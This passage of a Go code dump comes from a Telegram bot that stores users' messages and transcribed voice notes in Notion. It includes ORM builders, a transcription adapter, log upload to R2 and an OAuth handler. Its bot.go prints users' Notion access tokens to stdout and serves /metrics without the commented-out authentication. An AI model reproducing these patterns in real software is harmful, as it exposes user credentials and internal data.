_spec.Node.Columns = append(_spec.Node.Columns, fields[i]) } } } if ps := uq.predicates; len(ps) > 0 { _spec.Predicate = func(selector *sql.Selector) { for i := range ps { ps[i](selector) } } } if limit := uq.ctx.Limit; limit != nil { _spec.Limit = *limit } if offset := uq.ctx.Offset; offset != nil { _spec.Offset = *offset } if ps := uq.order; len(ps) > 0 { _spec.Order = func(selector *sql.Selector) { for i := range ps { ps[i](selector) } } } return _spec } func (uq *UserQuery) sqlQuery(ctx context.Context) *sql.Selector { builder := sql.Dialect(uq.driver.Dialect()) t1 := builder.Table(user.Table) columns := uq.ctx.Fields if len(columns) == 0 { columns = user.Columns } selector := builder.Select(t1.Columns(columns...)...).From(t1) if uq.sql != nil { selector = uq.sql selector.Select(selector.Columns(columns...)...) } if uq.ctx.Unique != nil && *uq.ctx.Unique { selector.Distinct() } for _, p := range uq.predicates { p(selector) } for _, p := range uq.order { p(selector) } if offset := uq.ctx.Offset; offset != nil { // limit is mandatory for offset clause. We start // with default value, and override it below if needed. selector.Offset(*offset).Limit(math.MaxInt32) } if limit := uq.ctx.Limit; limit != nil { selector.Limit(*limit) } return selector } // UserGroupBy is the group-by builder for User entities. type UserGroupBy struct { selector build *UserQuery } // Aggregate adds the given aggregation functions to the group-by query. func (ugb *UserGroupBy) Aggregate(fns ...AggregateFunc) *UserGroupBy { ugb.fns = append(ugb.fns, fns...) return ugb } // Scan applies the selector query and scans the result into the given value. func (ugb *UserGroupBy) Scan(ctx context.Context, v any) error { ctx = setContextOp(ctx, ugb.build.ctx, "GroupBy") if err := ugb.build.prepareQuery(ctx); err != nil { return err } return scanWithInterceptors[*UserQuery, *UserGroupBy](ctx, ugb.build, ugb, ugb.build.inters, v) } func (ugb *UserGroupBy) sqlScan(ctx context.Context, root *UserQuery, v any) error { selector := root.sqlQuery(ctx).Select() aggregation := make([]string, 0, len(ugb.fns)) for _, fn := range ugb.fns { aggregation = append(aggregation, fn(selector)) } if len(selector.SelectedColumns()) == 0 { columns := make([]string, 0, len(*ugb.flds)+len(ugb.fns)) for _, f := range *ugb.flds { columns = append(columns, selector.C(f)) } columns = append(columns, aggregation...) selector.Select(columns...) } selector.GroupBy(selector.Columns(*ugb.flds...)...) if err := selector.Err(); err != nil { return err } rows := &sql.Rows{} query, args := selector.Query() if err := ugb.build.driver.Query(ctx, query, args, rows); err != nil { return err } defer rows.Close() return sql.ScanSlice(rows, v) } // UserSelect is the builder for selecting fields of User entities. type UserSelect struct { *UserQuery selector } // Aggregate adds the given aggregation functions to the selector query. func (us *UserSelect) Aggregate(fns ...AggregateFunc) *UserSelect { us.fns = append(us.fns, fns...) return us } // Scan applies the selector query and scans the result into the given value. func (us *UserSelect) Scan(ctx context.Context, v any) error { ctx = setContextOp(ctx, us.ctx, "Select") if err := us.prepareQuery(ctx); err != nil { return err } return scanWithInterceptors[*UserQuery, *UserSelect](ctx, us.UserQuery, us, us.inters, v) } func (us *UserSelect) sqlScan(ctx context.Context, root *UserQuery, v any) error { selector := root.sqlQuery(ctx) aggregation := make([]string, 0, len(us.fns)) for _, fn := range us.fns { aggregation = append(aggregation, fn(selector)) } switch n := len(*us.selector.flds); { case n == 0 && len(aggregation) > 0: selector.Select(aggregation...) case n != 0 && len(aggregation) > 0: selector.AppendSelect(aggregation...) } rows := &sql.Rows{} query, args := selector.Query() if err := us.driver.Query(ctx, query, args, rows); err != nil { return err } defer rows.Close() return sql.ScanSlice(rows, v) } ``` ## /adapters/ent/user_update.go ```go path="/adapters/ent/user_update.go" // Code generated by ent, DO NOT EDIT. package ent import ( "context" "errors" "fmt" "time" "entgo.io/ent/dialect/sql" "entgo.io/ent/dialect/sql/sqlgraph" "entgo.io/ent/schema/field" "github.com/notion-echo/adapters/ent/predicate" "github.com/notion-echo/adapters/ent/user" ) // UserUpdate is the builder for updating User entities. type UserUpdate struct { config hooks []Hook mutation *UserMutation } // Where appends a list predicates to the UserUpdate builder. func (uu *UserUpdate) Where(ps ...predicate.User) *UserUpdate { uu.mutation.Where(ps...) return uu } // SetUpdatedAt sets the "updated_at" field. func (uu *UserUpdate) SetUpdatedAt(t time.Time) *UserUpdate { uu.mutation.SetUpdatedAt(t) return uu } // SetStateToken sets the "state_token" field. func (uu *UserUpdate) SetStateToken(s string) *UserUpdate { uu.mutation.SetStateToken(s) return uu } // SetNillableStateToken sets the "state_token" field if the given value is not nil. func (uu *UserUpdate) SetNillableStateToken(s *string) *UserUpdate { if s != nil { uu.SetStateToken(*s) } return uu } // SetNotionToken sets the "notion_token" field. func (uu *UserUpdate) SetNotionToken(s string) *UserUpdate { uu.mutation.SetNotionToken(s) return uu } // SetNillableNotionToken sets the "notion_token" field if the given value is not nil. func (uu *UserUpdate) SetNillableNotionToken(s *string) *UserUpdate { if s != nil { uu.SetNotionToken(*s) } return uu } // SetDefaultPage sets the "default_page" field. func (uu *UserUpdate) SetDefaultPage(s string) *UserUpdate { uu.mutation.SetDefaultPage(s) return uu } // SetNillableDefaultPage sets the "default_page" field if the given value is not nil. func (uu *UserUpdate) SetNillableDefaultPage(s *string) *UserUpdate { if s != nil { uu.SetDefaultPage(*s) } return uu } // Mutation returns the UserMutation object of the builder. func (uu *UserUpdate) Mutation() *UserMutation { return uu.mutation } // Save executes the query and returns the number of nodes affected by the update operation. func (uu *UserUpdate) Save(ctx context.Context) (int, error) { uu.defaults() return withHooks(ctx, uu.sqlSave, uu.mutation, uu.hooks) } // SaveX is like Save, but panics if an error occurs. func (uu *UserUpdate) SaveX(ctx context.Context) int { affected, err := uu.Save(ctx) if err != nil { panic(err) } return affected } // Exec executes the query. func (uu *UserUpdate) Exec(ctx context.Context) error { _, err := uu.Save(ctx) return err } // ExecX is like Exec, but panics if an error occurs. func (uu *UserUpdate) ExecX(ctx context.Context) { if err := uu.Exec(ctx); err != nil { panic(err) } } // defaults sets the default values of the builder before save. func (uu *UserUpdate) defaults() { if _, ok := uu.mutation.UpdatedAt(); !ok { v := user.UpdateDefaultUpdatedAt() uu.mutation.SetUpdatedAt(v) } } func (uu *UserUpdate) sqlSave(ctx context.Context) (n int, err error) { _spec := sqlgraph.NewUpdateSpec(user.Table, user.Columns, sqlgraph.NewFieldSpec(user.FieldID, field.TypeInt)) if ps := uu.mutation.predicates; len(ps) > 0 { _spec.Predicate = func(selector *sql.Selector) { for i := range ps { ps[i](selector) } } } if value, ok := uu.mutation.UpdatedAt(); ok { _spec.SetField(user.FieldUpdatedAt, field.TypeTime, value) } if value, ok := uu.mutation.StateToken(); ok { _spec.SetField(user.FieldStateToken, field.TypeString, value) } if value, ok := uu.mutation.NotionToken(); ok { _spec.SetField(user.FieldNotionToken, field.TypeString, value) } if value, ok := uu.mutation.DefaultPage(); ok { _spec.SetField(user.FieldDefaultPage, field.TypeString, value) } if n, err = sqlgraph.UpdateNodes(ctx, uu.driver, _spec); err != nil { if _, ok := err.(*sqlgraph.NotFoundError); ok { err = &NotFoundError{user.Label} } else if sqlgraph.IsConstraintError(err) { err = &ConstraintError{msg: err.Error(), wrap: err} } return 0, err } uu.mutation.done = true return n, nil } // UserUpdateOne is the builder for updating a single User entity. type UserUpdateOne struct { config fields []string hooks []Hook mutation *UserMutation } // SetUpdatedAt sets the "updated_at" field. func (uuo *UserUpdateOne) SetUpdatedAt(t time.Time) *UserUpdateOne { uuo.mutation.SetUpdatedAt(t) return uuo } // SetStateToken sets the "state_token" field. func (uuo *UserUpdateOne) SetStateToken(s string) *UserUpdateOne { uuo.mutation.SetStateToken(s) return uuo } // SetNillableStateToken sets the "state_token" field if the given value is not nil. func (uuo *UserUpdateOne) SetNillableStateToken(s *string) *UserUpdateOne { if s != nil { uuo.SetStateToken(*s) } return uuo } // SetNotionToken sets the "notion_token" field. func (uuo *UserUpdateOne) SetNotionToken(s string) *UserUpdateOne { uuo.mutation.SetNotionToken(s) return uuo } // SetNillableNotionToken sets the "notion_token" field if the given value is not nil. func (uuo *UserUpdateOne) SetNillableNotionToken(s *string) *UserUpdateOne { if s != nil { uuo.SetNotionToken(*s) } return uuo } // SetDefaultPage sets the "default_page" field. func (uuo *UserUpdateOne) SetDefaultPage(s string) *UserUpdateOne { uuo.mutation.SetDefaultPage(s) return uuo } // SetNillableDefaultPage sets the "default_page" field if the given value is not nil. func (uuo *UserUpdateOne) SetNillableDefaultPage(s *string) *UserUpdateOne { if s != nil { uuo.SetDefaultPage(*s) } return uuo } // Mutation returns the UserMutation object of the builder. func (uuo *UserUpdateOne) Mutation() *UserMutation { return uuo.mutation } // Where appends a list predicates to the UserUpdate builder. func (uuo *UserUpdateOne) Where(ps ...predicate.User) *UserUpdateOne { uuo.mutation.Where(ps...) return uuo } // Select allows selecting one or more fields (columns) of the returned entity. // The default is selecting all fields defined in the entity schema. func (uuo *UserUpdateOne) Select(field string, fields ...string) *UserUpdateOne { uuo.fields = append([]string{field}, fields...) return uuo } // Save executes the query and returns the updated User entity. func (uuo *UserUpdateOne) Save(ctx context.Context) (*User, error) { uuo.defaults() return withHooks(ctx, uuo.sqlSave, uuo.mutation, uuo.hooks) } // SaveX is like Save, but panics if an error occurs. func (uuo *UserUpdateOne) SaveX(ctx context.Context) *User { node, err := uuo.Save(ctx) if err != nil { panic(err) } return node } // Exec executes the query on the entity. func (uuo *UserUpdateOne) Exec(ctx context.Context) error { _, err := uuo.Save(ctx) return err } // ExecX is like Exec, but panics if an error occurs. func (uuo *UserUpdateOne) ExecX(ctx context.Context) { if err := uuo.Exec(ctx); err != nil { panic(err) } } // defaults sets the default values of the builder before save. func (uuo *UserUpdateOne) defaults() { if _, ok := uuo.mutation.UpdatedAt(); !ok { v := user.UpdateDefaultUpdatedAt() uuo.mutation.SetUpdatedAt(v) } } func (uuo *UserUpdateOne) sqlSave(ctx context.Context) (_node *User, err error) { _spec := sqlgraph.NewUpdateSpec(user.Table, user.Columns, sqlgraph.NewFieldSpec(user.FieldID, field.TypeInt)) id, ok := uuo.mutation.ID() if !ok { return nil, &ValidationError{Name: "id", err: errors.New(`ent: missing "User.id" for update`)} } _spec.Node.ID.Value = id if fields := uuo.fields; len(fields) > 0 { _spec.Node.Columns = make([]string, 0, len(fields)) _spec.Node.Columns = append(_spec.Node.Columns, user.FieldID) for _, f := range fields { if !user.ValidColumn(f) { return nil, &ValidationError{Name: f, err: fmt.Errorf("ent: invalid field %q for query", f)} } if f != user.FieldID { _spec.Node.Columns = append(_spec.Node.Columns, f) } } } if ps := uuo.mutation.predicates; len(ps) > 0 { _spec.Predicate = func(selector *sql.Selector) { for i := range ps { ps[i](selector) } } } if value, ok := uuo.mutation.UpdatedAt(); ok { _spec.SetField(user.FieldUpdatedAt, field.TypeTime, value) } if value, ok := uuo.mutation.StateToken(); ok { _spec.SetField(user.FieldStateToken, field.TypeString, value) } if value, ok := uuo.mutation.NotionToken(); ok { _spec.SetField(user.FieldNotionToken, field.TypeString, value) } if value, ok := uuo.mutation.DefaultPage(); ok { _spec.SetField(user.FieldDefaultPage, field.TypeString, value) } _node = &User{config: uuo.config} _spec.Assign = _node.assignValues _spec.ScanValues = _node.scanValues if err = sqlgraph.UpdateNode(ctx, uuo.driver, _spec); err != nil { if _, ok := err.(*sqlgraph.NotFoundError); ok { err = &NotFoundError{user.Label} } else if sqlgraph.IsConstraintError(err) { err = &ConstraintError{msg: err.Error(), wrap: err} } return nil, err } uuo.mutation.done = true return _node, nil } ``` ## /adapters/gladia/gladia.go ```go path="/adapters/gladia/gladia.go" package gladia import ( "context" "fmt" "io" "log" "net/http" "os" "path/filepath" "time" tgbotapi "github.com/OvyFlash/telegram-bot-api" gladiaclient "github.com/fulviodenza/go-gladia-client/pkg/gladia" ) func HandleTranscribe(ctx context.Context, bot *tgbotapi.BotAPI, voice *tgbotapi.Voice) (string, error) { fileConfig := tgbotapi.FileConfig{ FileID: voice.FileID, } file, err := bot.GetFile(fileConfig) if err != nil { log.Printf("Failed to get file: %v", err) return "", err } fileURL := file.Link(bot.Token) tempDir := os.TempDir() tempFile := filepath.Join(tempDir, "voice_"+voice.FileID+".ogg") err = downloadFile(fileURL, tempFile) if err != nil { log.Printf("Failed to download file: %v", err) return "", err } defer os.Remove(tempFile) client := gladiaclient.NewClient(os.Getenv("GLADIA_API_KEY")) result, err := client.UploadFile(ctx, tempFile) if err != nil { log.Printf("Failed to upload file to Gladia: %v", err) return "", err } transcribeRes, transcribeErr := client.Transcribe(ctx, result.AudioURL) if transcribeErr != nil { log.Printf("Failed to start transcription: %v", transcribeErr) return "", transcribeErr } timeoutCtx, cancel := context.WithTimeout(ctx, 2*time.Minute) defer cancel() resultCh := make(chan string) errCh := make(chan error) // Start a goroutine to poll for results go func() { ticker := time.NewTicker(2 * time.Second) defer ticker.Stop() for { select { case <-timeoutCtx.Done(): errCh <- fmt.Errorf("timeout reached waiting for transcription") return case <-ticker.C: // Poll for results from Gladia client transcriptionResult, pollErr := client.GetTranscriptionResult(ctx, transcribeRes.ID) if pollErr != nil { log.Printf("Error polling for result: %v", pollErr) continue } if transcriptionResult.Status == "done" { resultCh <- transcriptionResult.Result.Transcription.FullTranscript return } else if transcriptionResult.Status == "error" { errCh <- fmt.Errorf("transcription failed: %d", transcriptionResult.ErrorCode) return } log.Printf("Transcription in progress, status: %s", transcriptionResult.Status) } } }() // Wait for either a result or an error select { case transcript := <-resultCh: go client.DeleteTranscription(ctx, transcribeRes.ID) return transcript, nil case err := <-errCh: go client.DeleteTranscription(ctx, transcribeRes.ID) return "", err case <-timeoutCtx.Done(): return "", fmt.Errorf("transcription timed out") } } // download a file from URL to a local path func downloadFile(url string, filepath string) error { out, err := os.Create(filepath) if err != nil { return err } defer out.Close() resp, err := http.Get(url) if err != nil { return err } defer resp.Body.Close() _, err = io.Copy(out, resp.Body) return err } ``` ## /adapters/notion/notion.go ```go path="/adapters/notion/notion.go" package notion import ( "context" "github.com/jomei/notionapi" ) type NotionInterface interface { SearchPage(ctx context.Context, pageName string) ([]*notionapi.Page, error) Block() notionapi.BlockService ListPages(ctx context.Context) ([]*notionapi.Page, error) } var _ NotionInterface = (*Service)(nil) type Service struct { *notionapi.Client } func NewNotionService(client *notionapi.Client) NotionInterface { return &Service{ Client: client, } } func (ns *Service) ListPages(ctx context.Context) ([]*notionapi.Page, error) { res, err := ns.Search.Do(ctx, ¬ionapi.SearchRequest{ Filter: notionapi.SearchFilter{ Value: "page", Property: "object", }, Sort: ¬ionapi.SortObject{ Direction: "descending", Timestamp: "last_edited_time", }, }) if err != nil { return nil, err } pages := []*notionapi.Page{} for _, obj := range res.Results { pages = append(pages, obj.(*notionapi.Page)) } return pages, nil } func (ns *Service) SearchPage(ctx context.Context, pageName string) ([]*notionapi.Page, error) { res, err := ns.Search.Do(ctx, ¬ionapi.SearchRequest{ Query: pageName, Filter: notionapi.SearchFilter{ Value: "page", Property: "object", }, }) if err != nil { return nil, err } pages := []*notionapi.Page{} for _, obj := range res.Results { pages = append(pages, obj.(*notionapi.Page)) } return pages, nil } func (ns *Service) Block() notionapi.BlockService { return ns.Client.Block } type NotionPageName struct { Title string `json:"title,omitempty"` Select string `json:"select,omitempty"` MultiSelect []string `json:"multi_select,omitempty"` Status string `json:"status,omitempty"` } func ExtractName(props notionapi.Properties) string { if titleProperty, ok := props["title"].(*notionapi.TitleProperty); ok { if len(titleProperty.Title) > 0 { if titleProperty.Title[0].Text.Content != "" { return titleProperty.Title[0].Text.Content } if titleProperty.Title[0].PlainText != "" { return titleProperty.Title[0].PlainText } } } return "" } ``` ## /adapters/notion/notion_mock.go ```go path="/adapters/notion/notion_mock.go" package notion import ( "context" "github.com/jomei/notionapi" ) var _ NotionInterface = (*NotionMock)(nil) type NotionMock struct { pages map[string]*notionapi.Page err error } func (v *NotionMock) ListPages(ctx context.Context) ([]*notionapi.Page, error) { return []*notionapi.Page{ { ID: "", Properties: notionapi.Properties{}, }, }, nil } func NewNotionMock(pages map[string]*notionapi.Page, err error) NotionInterface { return &NotionMock{ pages: pages, err: err, } } func (v *NotionMock) SearchPage(ctx context.Context, pageName string) ([]*notionapi.Page, error) { if v.err != nil { return nil, v.err } pages := []*notionapi.Page{} for _, v := range v.pages { pages = append(pages, v) } return pages, nil } func (v *NotionMock) Block() notionapi.BlockService { return &BlockServiceMock{} } type BlockService interface { notionapi.BlockService } type BlockServiceMock struct{} func (bsm BlockServiceMock) AppendChildren(context.Context, notionapi.BlockID, *notionapi.AppendBlockChildrenRequest) (*notionapi.AppendBlockChildrenResponse, error) { return nil, nil } func (bsm BlockServiceMock) Get(context.Context, notionapi.BlockID) (notionapi.Block, error) { return ¬ionapi.CalloutBlock{}, nil } func (bsm BlockServiceMock) GetChildren(context.Context, notionapi.BlockID, *notionapi.Pagination) (*notionapi.GetChildrenResponse, error) { return nil, nil } func (bsm BlockServiceMock) Update(ctx context.Context, id notionapi.BlockID, request *notionapi.BlockUpdateRequest) (notionapi.Block, error) { return ¬ionapi.CalloutBlock{}, nil } func (bsm BlockServiceMock) Delete(context.Context, notionapi.BlockID) (notionapi.Block, error) { return ¬ionapi.CalloutBlock{}, nil } ``` ## /adapters/r2/r2.go ```go path="/adapters/r2/r2.go" package r2 import ( "bytes" "context" "fmt" "os" "time" "github.com/aws/aws-sdk-go-v2/aws" "github.com/aws/aws-sdk-go-v2/config" "github.com/aws/aws-sdk-go-v2/credentials" "github.com/aws/aws-sdk-go-v2/service/s3" "github.com/notion-echo/utils" "github.com/sirupsen/logrus" ) var ( bucketName = os.Getenv(utils.BUCKET_NAME) bucketAccountId = os.Getenv(utils.BUCKET_ACCOUNT_ID) bucketAccessKey = os.Getenv(utils.BUCKET_ACCESS_KEY) bucketSecretKey = os.Getenv(utils.BUCKET_SECRET_KEY) ) type R2Interface interface { UploadLogs(logFileName string, logger *logrus.Logger) error } type R2 struct { *s3.Client } func NewR2Client() (R2Interface, error) { fmt.Println("entering bucket setup:") r2Resolver := aws.EndpointResolverWithOptionsFunc(func(service, region string, options ...interface{}) (aws.Endpoint, error) { return aws.Endpoint{ URL: fmt.Sprintf("https://%s.r2.cloudflarestorage.com", bucketAccountId), }, nil }) cfg, err := config.LoadDefaultConfig(context.TODO(), config.WithEndpointResolverWithOptions(r2Resolver), config.WithCredentialsProvider(credentials.NewStaticCredentialsProvider(bucketAccessKey, bucketSecretKey, "")), config.WithRegion("auto"), ) if err != nil { return nil, err } return &R2{ Client: s3.NewFromConfig(cfg), }, nil } func (c R2) UploadLogs(logFileName string, logger *logrus.Logger) error { newLogFileName := fmt.Sprintf("logs-%s.log", time.Now().Format("2006-01-02")) err := os.Rename(logFileName, newLogFileName) if err != nil { return err } compressedLogFileName := newLogFileName + ".gz" err = utils.CompressFile(newLogFileName, compressedLogFileName) if err != nil { return err } err = c.uploadLogFileToR2(compressedLogFileName) if err != nil { return err } logFile, err := os.OpenFile(logFileName, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666) if err != nil { return err } logger.SetOutput(logFile) return nil } func (c R2) uploadLogFileToR2(logFileName string) error { ctx := context.Background() logFile, err := os.Open(logFileName) if err != nil { return err } defer logFile.Close() fileInfo, err := logFile.Stat() if err != nil { return err } fileSize := fileInfo.Size() buffer := make([]byte, fileSize) _, err = logFile.Read(buffer) if err != nil { return err } input := &s3.PutObjectInput{ Bucket: aws.String(bucketName), Key: aws.String(logFileName), Body: bytes.NewReader(buffer), ContentType: aws.String("text/plain"), } _, err = c.Client.PutObject(ctx, input) if err != nil { return err } return nil } ``` ## /bot/administration_send_message_command.go ```go path="/bot/administration_send_message_command.go" package bot import ( "context" "os" "strconv" "strings" tgbotapi "github.com/OvyFlash/telegram-bot-api" "github.com/notion-echo/bot/types" "github.com/notion-echo/errors" "github.com/sirupsen/logrus" ) var _ types.ICommand = (*SendAllCommand)(nil) type SendAllCommand struct { types.IBot } func NewSendAllCommand(bot types.IBot) types.Command { hc := SendAllCommand{ IBot: bot, } return hc.Execute } func (sa *SendAllCommand) Execute(ctx context.Context, update *tgbotapi.Update) { if sa == nil || sa.IBot == nil { return } id := int(update.Message.Chat.ID) tg_id, err := strconv.Atoi(os.Getenv("TG_ID")) if err != nil { sa.Logger().WithFields(logrus.Fields{"error": err}).Error("send all") sa.SendMessage(errors.ErrDeleting.Error(), id, true, true) return } if id != tg_id { return } users, err := sa.GetUserRepo().GetAllUsers(ctx) if err != nil { sa.Logger().WithFields(logrus.Fields{"error": err}).Error("send all") sa.SendMessage(errors.ErrDeleting.Error(), id, true, true) return } sendText := strings.Replace(update.Message.Text, "/send_all", "", 1) if sendText == "" && update.Message.Text != "" { sa.SendMessage("write something in your send_all message", id, false, true) return } for _, u := range users { sa.SendMessage(sendText, u.ID, true, true) } sa.SendMessage("message sent to all", id, false, true) } ``` ## /bot/bot.go ```go path="/bot/bot.go" package bot import ( "context" "crypto/rand" "encoding/base64" "fmt" "log" "net/http" "os" "strings" "sync" "time" "github.com/jomei/notionapi" "github.com/notion-echo/adapters/db" "github.com/notion-echo/adapters/gladia" "github.com/notion-echo/adapters/notion" "github.com/notion-echo/adapters/r2" "github.com/notion-echo/bot/types" "github.com/notion-echo/oauth" "github.com/notion-echo/state" "github.com/notion-echo/utils" "github.com/prometheus/client_golang/prometheus/promhttp" "github.com/sirupsen/logrus" tgbotapi "github.com/OvyFlash/telegram-bot-api" "github.com/labstack/echo" "github.com/labstack/echo/middleware" ) type Bot struct { sync.RWMutex TelegramClient *tgbotapi.BotAPI NotionClient map[string]string UserRepo db.UserRepoInterface R2Client r2.R2Interface helpMessage string logger *logrus.Logger state state.IUserState } // this cast force us to follow the given interface // if the interface will not be implemented, this will not compile var _ types.IBot = (*Bot)(nil) var ( telegramToken = os.Getenv(utils.TELEGRAM_TOKEN) databaseUrl = os.Getenv(utils.DATABASE_URL) port = os.Getenv(utils.PORT) ) func NewBotWithConfig() (*Bot, error) { bot := &Bot{ logger: logrus.New(), } bot.Logger().SetFormatter(&logrus.JSONFormatter{}) bot.state = state.New() r2Client, err := r2.NewR2Client() if err != nil { fmt.Printf("got error: %v setting up r2 client", err) } logFileName := fmt.Sprintf("logs-%s.log", time.Now().Format("2006-01-02")) logFile, err := os.OpenFile(logFileName, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666) if err != nil { return nil, fmt.Errorf("failed to open log file: %v", err) } bot.Logger().SetOutput(logFile) userRepo, err := db.SetupAndConnectDatabase(databaseUrl, bot.Logger()) if err != nil { return nil, err } bot.SetUserRepo(userRepo) bot.loadHelpMessage() b, err := tgbotapi.NewBotAPI(telegramToken) if err != nil { return nil, err } bot.SetTelegramClient(b) bot.SetR2Client(r2Client) // Schedule daily log upload go bot.scheduleDailyLogUpload(logFileName, r2Client.UploadLogs, bot.logger) return bot, err } func (b *Bot) scheduleDailyLogUpload(logFileName string, uploadFunc func(logFileName string, logger *logrus.Logger) error, logger *logrus.Logger) { now := time.Now() nextMidnight := time.Date(now.Year(), now.Month(), now.Day()+1, 0, 0, 0, 0, now.Location()) durationUntilMidnight := nextMidnight.Sub(now) time.AfterFunc(durationUntilMidnight, func() { uploadFunc(logFileName, logger) ticker := time.NewTicker(24 * time.Hour) for range ticker.C { uploadFunc(logFileName, logger) } }) } func (b *Bot) Start(ctx context.Context) { updateConfig := tgbotapi.NewUpdate(0) updateConfig.Timeout = 60 updateConfig.AllowedUpdates = []string{ tgbotapi.UpdateTypeMessage, tgbotapi.UpdateTypeEditedMessage, tgbotapi.UpdateTypeChannelPost, tgbotapi.UpdateTypeEditedChannelPost, tgbotapi.UpdateTypeBusinessConnection, tgbotapi.UpdateTypeBusinessMessage, tgbotapi.UpdateTypeEditedBusinessMessage, tgbotapi.UpdateTypeDeletedBusinessMessages, tgbotapi.UpdateTypeMessageReaction, tgbotapi.UpdateTypeMessageReactionCount, tgbotapi.UpdateTypeInlineQuery, tgbotapi.UpdateTypeChosenInlineResult, tgbotapi.UpdateTypeCallbackQuery, tgbotapi.UpdateTypeShippingQuery, tgbotapi.UpdateTypePreCheckoutQuery, tgbotapi.UpdateTypePurchasedPaidMedia, tgbotapi.UpdateTypePoll, tgbotapi.UpdateTypePollAnswer, tgbotapi.UpdateTypeMyChatMember, tgbotapi.UpdateTypeChatMember, tgbotapi.UpdateTypeChatJoinRequest, tgbotapi.UpdateTypeChatBoost, tgbotapi.UpdateTypeRemovedChatBoost, } updatesChannel := b.TelegramClient.GetUpdatesChan(updateConfig) time.Sleep(time.Millisecond * 500) updatesChannel.Clear() b.Logger().Info("Bot started and waiting for updates...") for update := range updatesChannel { b.Logger().Info("Received an update") if update.CallbackQuery != nil { if strings.HasPrefix(update.CallbackQuery.Data, "setpage:") { parts := strings.Split(update.CallbackQuery.Data, ":") if len(parts) != 2 { b.Logger().Error("invalid callback data format") continue } pageName := parts[1] chatID := update.CallbackQuery.Message.Chat.ID err := b.GetUserRepo().SetDefaultPage(ctx, int(chatID), pageName) if err != nil { b.Logger().WithFields(logrus.Fields{ "error": err, "chat_id": chatID, "page_name": pageName, }).Error("failed to set default page") b.SendMessage("Failed to set default page", int(chatID), false, true) continue } b.SendMessage(fmt.Sprintf("Default page set to: %s", pageName), int(chatID), false, true) callback := tgbotapi.NewCallback(update.CallbackQuery.ID, "Default page updated") b.TelegramClient.Send(callback) } } if update.Message == nil { continue } if state := b.GetUserState(int(update.Message.Chat.ID)); state != "" { switch state { case "/note": NewNoteCommand(b, buildNotionClient)(ctx, &update) b.state.Delete(int(update.Message.Chat.ID)) continue case "/defaultpage": NewDefaultPageCommand(b, buildNotionClient)(ctx, &update) b.state.Delete(int(update.Message.Chat.ID)) continue } } if update.Message.Caption != "" && strings.Contains(update.Message.Caption, "/note") { NewNoteCommand(b, buildNotionClient)(ctx, &update) continue } if update.Message.Voice != nil { if update.Message.Voice.Duration > 30 { b.SendMessage("Voice notes must not last more than 30 seconds", int(update.Message.Chat.ID), false, true) continue } b.SendMessage( `Received transcription request, please wait until your transcription will be ready, a confirmation message will be sent`, int(update.Message.Chat.ID), false, true) message, err := gladia.HandleTranscribe(ctx, b.TelegramClient, update.Message.Voice) if err != nil { b.Logger().WithFields(logrus.Fields{ "error": err, }).Error("Failed to transcribe voice message") b.SendMessage("Sorry, I couldn't transcribe your voice message.", int(update.Message.Chat.ID), false, true) } else { b.SendMessage(fmt.Sprintf("Transcribed: %s", message), int(update.Message.Chat.ID), false, true) noteUpdate := update noteUpdate.Message.Text = "/note " + message NewNoteCommand(b, buildNotionClient)(ctx, ¬eUpdate) } continue } var foundCommand bool var handlers = b.initializeHandlers() for c, f := range handlers { if (update.Message.Text != "" && strings.HasPrefix(update.Message.Text, c)) || (update.Message.Caption != "" && strings.HasPrefix(update.Message.Caption, c)) { f(ctx, &update) foundCommand = true break } } // If no command was found and there's text, treat it as a note if !foundCommand && update.Message.Text != "" { noteUpdate := update noteUpdate.Message.Text = "/note " + update.Message.Text NewNoteCommand(b, buildNotionClient)(ctx, ¬eUpdate) } } } func (b *Bot) RunOauth2Endpoint() { e := echo.New() e.Use(middleware.LoggerWithConfig(middleware.LoggerConfig{ Format: `{"time":"${time_rfc3339}", "method":"${method}", "uri":"${uri}", "status":${status}}` + "\n", })) e.Use(middleware.Recover()) e.GET("/", func(c echo.Context) error { b.Logger().Infof("[/] ok request") c.JSON(200, "ok") return nil }) e.GET("/healthz", func(c echo.Context) error { b.Logger().Infof("[Healthz] healthz request") c.JSON(200, "ok") return nil }) e.GET("/oauth2", func(c echo.Context) error { e.Logger.Info("received registration request") notionToken, err := oauth.Handler(c) if err != nil { c.JSON(http.StatusInternalServerError, err.Error()) return nil } state := c.QueryParam("state") fmt.Printf("got state token: %s", state) fmt.Printf("got notion token: %s", notionToken) _, err = b.GetUserRepo().SaveNotionTokenByStateToken(context.Background(), notionToken, state) if err != nil { fmt.Printf("got error saving notion token: %s, err: %v", notionToken, err) c.JSON(http.StatusInternalServerError, err.Error()) return nil } b.SetNotionClient(state, notionToken) b.Logger().Info("[OAuth] user linked its notion") c.JSON(http.StatusOK, "your page has ben set, you can now close this page") return nil }) // keyAuth := middleware.KeyAuthWithConfig(middleware.KeyAuthConfig{ // KeyLookup: fmt.Sprintf("header:%s", metricsAuthHeader), // Validator: func(key string, c echo.Context) (bool, error) { // if key == os.Getenv(metricsAuthHeader) { // return true, nil // } // return false, nil // }, // }) // e.GET("/metrics", echo.WrapHandler(promhttp.Handler()), keyAuth) e.GET("/metrics", echo.WrapHandler(promhttp.Handler())) address := fmt.Sprintf("0.0.0.0:%s", port) e.Logger.Fatal(e.Start(address)) } func (b *Bot) GetHelpMessage() string { return b.helpMessage } func (b *Bot) SetNotionClient(token string, notionToken string) { b.Lock() defer b.Unlock() if b.NotionClient == nil { b.NotionClient = make(map[string]string) } fmt.Println(notionToken) b.NotionClient[token] = notionToken } func (b *Bot) GetNotionClient(userId string) string { b.RLock() defer b.RUnlock() return b.NotionClient[userId] } func (b *Bot) SendButtonWithURL(chatId int64, buttonText, url, msgTxt string) error { inlineKeyboardButton := tgbotapi.NewInlineKeyboardButtonURL(buttonText, url) inlineKeyboardMarkup := tgbotapi.NewInlineKeyboardMarkup( tgbotapi.NewInlineKeyboardRow(inlineKeyboardButton), ) msg := tgbotapi.NewMessage(chatId, msgTxt) msg.ReplyMarkup = inlineKeyboardMarkup _, err := b.TelegramClient.Send(msg) if err != nil { b.Logger().WithFields(logrus.Fields{"error": err}).Error("failed to send message with button") return err } return nil } func (b *Bot) SendButtonWithData(chatId int64, buttonText string, pages []*notionapi.Page) error { var rows [][]tgbotapi.InlineKeyboardButton for _, page := range pages { title := notion.ExtractName(page.Properties) if title == "" { continue } // Use shorter callback data format: "sp:{pageID}" callbackData := fmt.Sprintf("setpage:%s", title) if len(callbackData) > 64 { b.Logger().WithFields(logrus.Fields{ "page_id": page.ID, "title": title, }).Warn("callback data too long, skipping 